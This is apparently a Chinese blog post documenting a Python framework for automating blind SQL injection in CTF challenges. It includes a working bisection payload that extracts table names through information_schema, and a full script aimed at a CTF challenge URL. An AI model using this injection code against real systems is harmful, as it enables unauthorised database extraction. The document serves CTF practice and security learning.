简介
这里是SQL盲注框架的使用说明文档,这个项目的初衷是为了解决在CTF中编写SQL盲注脚本的不便:大部分时间编写的SQL盲注脚本都是payload指向的,这就导致了基本上一个题要大改一次还得重新调试。
所以编写这个项目来将SQL盲注的步骤模块化,提供代码的复用率,减少由于自身菜B编码能力的高血压程度
快速开始
这里将以[2019-极客大挑战-FinalSQL](https://buuoj.cn/challenges#[极客大挑战 2019]FinalSQL)为例子来演示这个SQL盲注框架该如何使用编写出Payload
快进一下假设我们注意到这题的注入点在于search.php的GET参数id,那么按照一般编写脚本的思路我们该实现哪些功能呢?
首先,需要构造一个主要的循环迭代模块,通过这个逻辑将循环生成每次盲注Payload
需要的各种变量数值,比如采用二分法盲注:
`1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{))^1`
其中3个{}就分别代表 每次需要截取的字符位数、比较ASCII值采用的逻辑符号,用来比较的ASCII值 这些变量都是需要这个循环迭代模块提供的,框架中内置了二分法对应的循环迭代模块可供直接使用,故可以编写脚本:
import BI_SQL as SQL
#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod
其次,对于Payload肯定需要通过HTTP发送到服务端,这时就需要一个请求模块将循环迭代模块生成的变量数值填充到Payload,然后整理并发起HTTP请求。
框架提供了默认的请求模块,它实现了整理并发起HTTP请求的功能,我们只需要实现将变量数值填充到Payload的功能然后传入相关参数就能使用,故可接着编写:
import BI_SQL as SQL
#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod
url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)
接着,对于发送Payload后的返回包需要对其进行检测判断出本次Payload执行是否成功,这样就需要检测模块实现这个功能返回对Payload执行结果的判断
框架提供了默认的检测模块,绝大部分的检测类型均能满足,设定好相关参数后就可以使用,而本体又是检测返回值关键字那么就有:
import BI_SQL as SQL
#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod
url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)
#已于关键字检测模块
check = SQL.Check(SQL.checkMethod.checkText, checkModel = "A", keyStr = "Click")
最后,只需要让程序跑起来就能看到结果了,框架设计了一个容器(大嘘)来承载这三个模块,将模块传入容器然后启动就行,所以最终脚本如下:
import BI_SQL as SQL
#引用二分法对应的循环迭代逻辑
central = SQL.BisectionMethod
url = "http://b77cab68-401e-4c92-a214-7d39217ced25.node4.buuoj.cn:81/search.php"
method = "get"
params = {"id" : "1^(SELECT(ASCII(SUBSTR(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=DATABASE()))),{},1)){}{}))^1"}
#将HTTP的相关参数传入,这里的参数名风格是基于requests模块的
req = SQL.Request(url, method, params = params)
'''
构造将变量数值填充到Payload的方法
函数参数格式推荐为如下的,其中req代表req模块类
args代表从循环迭代模生成的变量数值
关于此方法定义的具体细节请看后面Request部分'''
def makePoc(req, **args):
req.params = req.rawParams.format(args["num"], args["sympol"], args["code"])
#将构造的方法指定到请求模块中
req.setPrePayloadFunc(makePoc)
#已于关键字检测模块
check = SQL.Check(SQL.checkMethod.checkText, checkModel = "A", keyStr = "Click")
#将模块传入容器
controller = SQL.Controller(central, req, check)
controller.run()
架构总览
设想的整体架构是这样的,想必大体上算是实现了⑧
循环迭代模块的逻辑实际上是相对单调的,内置的该模块已经满足了大部分的题目情况(没见到也妹有办法,我好没本领.jpg),该模块的实现只需要要编写一个函数即可,所以这里并不会有对应的总览,想参考自定义循环迭代模块请参考后面对应小节
请求模块
检测模块
循环迭代模块
简介
该模块对应框架下central.py
中的代码。该模块的需要实现循环生成每次盲注Payload
需要的各种变量数值,随后将这些变量数值传入请求模块的send
方法中,然后从将请求模块的返回值传入检查模块的bakCheckResult
方法获取当前Payload
的正确与否,基于Payload
的正确性将调整生成下次盲注Payload
需要的各种变量数值直到整个盲注流程结束
该模块默认按照函数形式实现,需要满足存在两个及以上的参数,通常为:
xxx(requestModule, checkModule, **args)
其中requestModule
代表请求模块,checkModule
代表检测模块,args
用来存放该模块中可能需要的其他参数
其他参数的获取形式通常为:
xxx = args["xxx"] if "xxx" in args.keys() else DEFAULT_VALUE
以内置的二分法模块为例使用检测与请求模块为如下所示:
内置模块生成变量作用解析
目前是内置了三个相关模块,分别是ASCII值二分法、字符集遍历、SQL结果集比较
ASCII值二分法:
提供三个变量数值,分别为code
、num
、sympol
:
code
:当前注入的字符猜测的ASCII值num
:当前注入的字符为字段中第几位sympol
:当前注入的字符与猜测的ASCII值之间的大小关系
字符集遍历A模式:
char
:当前注入的字符猜测的字符值num
:当前注入的字符为字段中第几位
字符集遍历B模式:
char
:当前注入的字符串猜测的字符串
SQL结果集比较:
这个方法原理参考[GYCTF2020]Ezsqli
的Payload
char
:当前注入的字符猜测的字符串sympol
:猜测的字符串与其他结果集中对应字段之间的大小关系
请求模块
简介
该模块对应框架下request.py
中的代码。该模块在创建时会将传入的(HTTP)参数储存,随后调用请求功能时会接受每次盲注Payload
需要的各种变量数值再整合发送包含Payload的HTTP请求,并返回对应的响应包
该模块由Request
类实现,在该类构建时需要传入(HTTP)参数,参数风格类似request
,具体由如下这些:
这些参数会之后伴随填充后的Payload作为HTTP请求发送,基于部分参数可能会作为Payload被填充的可能,所以此处对这部分参数赋值了两份,其中以raw
(如self.rawUrl
、self.rawParams
等)开头的属性会作为模板保存供以被填充Payload用,而未以raw
开头的属性则时之后发送HTTP请求时使用的参数(如self.url
、self.params
等)
请求模块中起到发起请求功能的方法是send
,支持使用session
。外部通过调用这个方法来实现请求发送,在这个方法中将填充Payload
并执行具体发送功能
可以注意到实际发送Payload的方法是mainReq
,在外面套一层send
方法是为了便于实现一些环境下的必要流程,如二次注入这类环境就需要先发送注册、登录请求,这时就可以在send
方法中先实现这些请求。同send
方法,mainReq
方法也是支持session
的
此外还具有setPrePayloadFunc
方法,起作用就是提供给Request
让其将填充Payload
的函数设定为自身属性,以便之后在send
方法中调用
使用自定义填充Payload
方法
推荐使用如下的参数风格,注意第一个参数必须为请求模块中的Request
类,第二个参数则是从循环迭代逻辑生成生成的盲注Payload
需要的各种变量数值:
Request
类中的大部分HTTP参数在赋值时会赋值给两个属性,其中以raw
开头的会被视为用以被填充的Payload的模板,而非raw
开头的则是为随后实际发送HTTP请求使用的参数
使用自定义请求流程
继承Request
类后就可以在重写send
方法中自定义请求流程,但是需要注意需要调用PrePayloadFunc
属性填充Payload,可采用固定写法:
然后调用mainReq
方法发送包含Payload的HTTP请求,并返回其返回值,也可采用固定写法:
具体可以参考如下的重写示例:
import BI_SQL as SQL
import requests as res
class newRequest(SQL.Request):
def send(self, session=None, **args):
#发送注册和登录请求
data = {"username" : "test", "password" : "test"}
sess = res.Session()
sess.get("http://test/register.php", data = data)
sess.get("http://test/login.php", data = data)
self.PrePayloadFunc(self, **args)
#将session传入以便发送含Payload的请求时使用
resp = self.mainReq(session = sess)
return resp
检测模块
简介
该模块对应框架下check.py
中的代码。该模块的需要接受从请求模块传递过来的返回包,然后依据设定好的检测逻辑返回当前盲注Payload
的正确性(默认按照函数的形式实现)
该模块实际上可分为两部分,外层是用来提供统一调用接口的包装类,内部则是各色的检测函数,对检测模块的使用实际上是调用包装类的接口并传入返回包,接口再去整合参数并调用检测函数并返回执行结果
创建时通过包装类的初始将检测函数及其辅助参数(即除开返回包外的参数)传入,通常时如下结构:
import BI_SQL as SQL
check = SQL.Check(checkFunc, key1=value1[, key2 = value2 ...])
对应源码即Check
类实现包装类,checkMethod
作为工具类提供各色内置检测函数:
使用自定义检测函数
需要提供一个以上的参数,且其中第一位参数必为返回包,后续参数则可以视函数自身需要来提供,如:
def testCheckFunc(request, key1):
#request代表返回包,可以代表如下的检测逻辑需要使用的参数
'''对返回包进行检测的逻辑'''
return BOOLEAN
然后只需要注意在创建包装类时以键值对的形式传入正确的参数数量和参数名,如:
import BI_SQL as SQL
check = SQL.Check(testCheckFunc, key1 = value1)
容器
该模块的内置内容对应框架下control.py
中的代码。该模块实际上只是对循环迭代模块、请求模块、检测模块进行一个简单的封装提供一个启动接口和一些看上去美观的信息(并不是)展示的类
使用时只需要将循环迭代模块、请求模块、检测模块依次传入然后调用其run方法即可
,如
import BI_SQL as SQL
controller = SQL.Controller(centralModule, requestModule, checkModule)
controller.run()
内置函数
在request.py
与utils.py
中定义了一些内置函数方便,因为已经导入到__init__.py
的原因均可以直接使用
urlencode
将可迭代变量args
中元素逐个进行URL编码,并以数组形式返回这些元素编码后内容(单个元素则是其对于URL编码字符串),目前仅支持元素为字符串或字典
该函数主要用于多个需要URL编码的参数一起传入并一起获取返回结果,如:
a, b = urlencode(strA, strB)
urlencodeStr
返回字符串rawStr
对应的URL编码格式,默认非ASCII范围的字符会被编码,此外对于字符串blacklist
中的字符也会进行编码,其默认值为
需要注意的是,该函数与requests
或urllib
中的URL编码方式不通,前两者会将诸如\x99
转化为%c2%99
,但该函数则是将\x99
转化为%99
urlencodeDict
将传入的字典rawDict
转为对应URL编码后的字符串,具体的格式类似于如下:
urlencodeStr(key1) + "=" + urlencodeStr(value1) [+ "&" +urlencodeStr(key1) + "=" + urlencodeStr(value1)]
但需要注意目前仅支持字典key与value均为字符串的情况
str2hex
返回字符串strs
对应的十六进制形式,具体风格类似MySQL
中的hex
函数
getCharacterSet
依据参数选取对应的字符集,被用于盲注需要字符集的情况
标签:args,req,BI,参数,模块,SQL,盲注,Payload From: https://www.cnblogs.com/Article-kelp/p/16651064.html